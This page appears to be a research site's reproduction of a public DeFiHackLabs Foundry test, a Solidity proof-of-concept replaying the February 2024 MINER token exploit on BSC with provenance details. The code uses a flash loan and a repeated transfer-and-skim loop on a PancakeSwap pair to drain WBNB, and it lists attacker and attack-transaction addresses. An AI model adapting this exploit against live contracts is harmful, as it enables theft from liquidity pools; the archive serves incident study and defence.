Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/MINER_bsc_exp.sol

Public reproduction file for dataset entry MINER.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/MINER_bsc_exp.sol65 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "forge-std/Test.sol";
6import "./../interface.sol";
7
8// @KeyInfo - Total Lost : ~3.5 WBNB
9// Attacker : https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c7
10// Attack Contract : https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd43
11// Vulnerable Contract : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e
12// Attack Tx : https://bscscan.com/tx/0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c30512
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e#code
17// @Analysis
18// Post-mortem :
19// Twitter Guy :
20// Hacking God :
21pragma solidity ^0.8.0;
23contract MINER is BaseTestWithBalanceLog {
24 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
25 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
26 address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;
28 IERC20 Miner = IERC20(0x7C0BFb9fF0aF660D76fb2bd8865E9b49ff033045);
29 IPancakePair Pair = IPancakePair(0x2BA9d4a8C41C60B71ff7Df2c3F54B008644b954e);
31 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
33 function setUp() public {
34 cheats.createSelectFork("bsc", 36_111_183 - 1);
35 }
37 function testExploit() public {
38 Miner.approve(address(Router), type(uint256).max);
39 WBNB.approve(address(Router), type(uint256).max);
40 DVM(dodo).flashLoan(10 * 1e18, 0, address(this), abi.encode(0x3078));
42 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
43 }
45 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {
46 address[] memory path = new address[](2);
47 path[0] = address(WBNB);
48 path[1] = address(Miner);
49 uint256[] memory amounts =
50 Router.swapTokensForExactTokens(10 * 1e12, baseAmount, path, address(this), block.timestamp);
52 uint256 index = 1;
53 // transfer to pair and skim
54 while (index <= 50) {
55 uint256 balance = Miner.balanceOf(address(this));
56 Miner.transfer(address(Pair), balance);
57 Pair.skim(address(Pair));
58 index++;
59 }
61 // end while loop, swap back
62 Pair.swap(0, 3_500_751_853_374_879_579, address(this), "");
63 WBNB.transfer(dodo, 10 * 1e18);
64 }

Analysis

Dataset entry

Public Foundry test for “MINER” (2024-02-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x031958a8137745350549fd95055398dd536a07c7

  • Attack Contract

    0xc9716ec1b0503316233e3bcc50853f0df6befd43

  • Vulnerable Contract

    0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e

  • Attack Tx

    0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c30512

File record

Name
MINER
Path
src/test/2024-02/MINER_bsc_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6be4794992f6facbd24665ca8f3bf79c862476c5
Language
Solidity
Size
66 lines
Date
2024-02-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/MINER_bsc_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6be4794992f6facbd24665ca8f3bf79c862476c5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.